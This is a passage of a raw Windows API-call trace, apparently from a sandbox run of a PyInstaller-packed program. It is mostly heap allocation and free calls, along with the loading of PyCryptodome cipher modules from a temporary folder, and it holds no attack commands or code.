[0076.026] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19a48, Size=0x8c) returned 0x2ac0c08 [0076.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40a) returned 0x3410850 [0076.026] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0c08, Size=0xb8) returned 0x325f8f0 [0076.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x407) returned 0x3410c68 [0076.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x208) returned 0x3411078 [0076.026] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f8f0, Size=0xe8) returned 0x33d1920 [0076.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1920 | out: hHeap=0x2ad0000) returned 1 [0076.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3300a70 | out: hHeap=0x2ad0000) returned 1 [0076.026] GetCurrentThreadId () returned 0x9b0 [0076.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0076.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0076.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b15d8 [0076.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6f8 [0076.026] GetCurrentThreadId () returned 0x9b0 [0076.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0076.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0076.027] GetCurrentThreadId () returned 0x9b0 [0076.027] GetCurrentThreadId () returned 0x9b0 [0076.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0076.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0076.027] GetCurrentThreadId () returned 0x9b0 [0076.027] GetCurrentThreadId () returned 0x9b0 [0076.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0076.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0076.027] GetCurrentThreadId () returned 0x9b0 [0076.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0076.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de718 [0076.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de788 [0076.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84fc8 [0076.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0076.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de778 [0076.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84fc8 | out: hHeap=0x2ad0000) returned 1 [0076.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.027] GetLastError () returned 0x0 [0076.028] GetLastError () returned 0x0 [0076.028] GetLastError () returned 0x0 [0076.028] GetLastError () returned 0x0 [0076.028] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9ba018, lpFilePart=0x9ba014 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9ba014*="_file_system.pyc") returned 0x48 [0076.028] GetCurrentThreadId () returned 0x9b0 [0076.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263018 [0076.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263018 | out: hHeap=0x2ad0000) returned 1 [0076.028] GetCurrentThreadId () returned 0x9b0 [0076.028] GetCurrentThreadId () returned 0x9b0 [0076.028] GetCurrentThreadId () returned 0x9b0 [0076.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.028] GetCurrentThreadId () returned 0x9b0 [0076.028] GetLastError () returned 0x0 [0076.028] GetCurrentThreadId () returned 0x9b0 [0076.028] GetLastError () returned 0x0 [0076.028] GetCurrentThreadId () returned 0x9b0 [0076.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0076.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0076.029] GetCurrentThreadId () returned 0x9b0 [0076.029] GetLastError () returned 0x0 [0076.029] GetLastError () returned 0x0 [0076.029] GetLastError () returned 0x0 [0076.029] GetLastError () returned 0x0 [0076.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e48 | out: hHeap=0x2ad0000) returned 1 [0076.029] LoadLibraryA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\..\\Cipher\\_raw_ofb.pyd") [0076.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33d9be8 [0076.044] GetCurrentThreadId () returned 0x9b0 [0076.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b1140 [0076.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdd1a0 [0076.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0076.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e78 [0076.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84db8 [0076.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de838 [0076.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0076.044] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de838, Size=0x14) returned 0x31838c0 [0076.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0076.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84db8 | out: hHeap=0x2ad0000) returned 1 [0076.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e78 | out: hHeap=0x2ad0000) returned 1 [0076.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0076.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838c0 | out: hHeap=0x2ad0000) returned 1 [0076.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b1140 | out: hHeap=0x2ad0000) returned 1 [0076.045] GetCurrentThreadId () returned 0x9b0 [0076.045] GetLastError () returned 0x0 [0076.045] GetCurrentThreadId () returned 0x9b0 [0076.045] GetLastError () returned 0x0 [0076.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84db8 | out: hHeap=0x2ad0000) returned 1 [0076.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x3411288 [0076.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34115f8 [0076.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34115f8 | out: hHeap=0x2ad0000) returned 1 [0076.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f50 [0076.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f50 | out: hHeap=0x2ad0000) returned 1 [0076.046] GetCurrentThreadId () returned 0x9b0 [0076.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ec0 [0076.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ec0 | out: hHeap=0x2ad0000) returned 1 [0076.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f08 [0076.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f08 | out: hHeap=0x2ad0000) returned 1 [0076.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84db8 [0076.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84db8 | out: hHeap=0x2ad0000) returned 1 [0076.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e90 [0076.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e90 | out: hHeap=0x2ad0000) returned 1 [0076.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84fc8 [0076.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84fc8 | out: hHeap=0x2ad0000) returned 1 [0076.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x3411288 [0076.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0076.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.047] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262f00, Size=0x1) returned 0x33de728 [0076.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f20 [0076.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f20 | out: hHeap=0x2ad0000) returned 1 [0076.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f80 [0076.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f80 | out: hHeap=0x2ad0000) returned 1 [0076.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2cc74f0 [0076.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84d10 [0076.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.048] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84d10, Size=0x20) returned 0x3028558 [0076.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.049] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028558, Size=0x40) returned 0x2a19298 [0076.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.050] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19298, Size=0x64) returned 0x2a197a8 [0076.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.051] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a197a8, Size=0x8c) returned 0x2ac10c8 [0076.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.052] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac10c8, Size=0xb8) returned 0x325fb30 [0076.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.053] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325fb30, Size=0xe8) returned 0x33d1b00 [0076.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.055] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1b00, Size=0x120) returned 0x2c374c0 [0076.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.055] 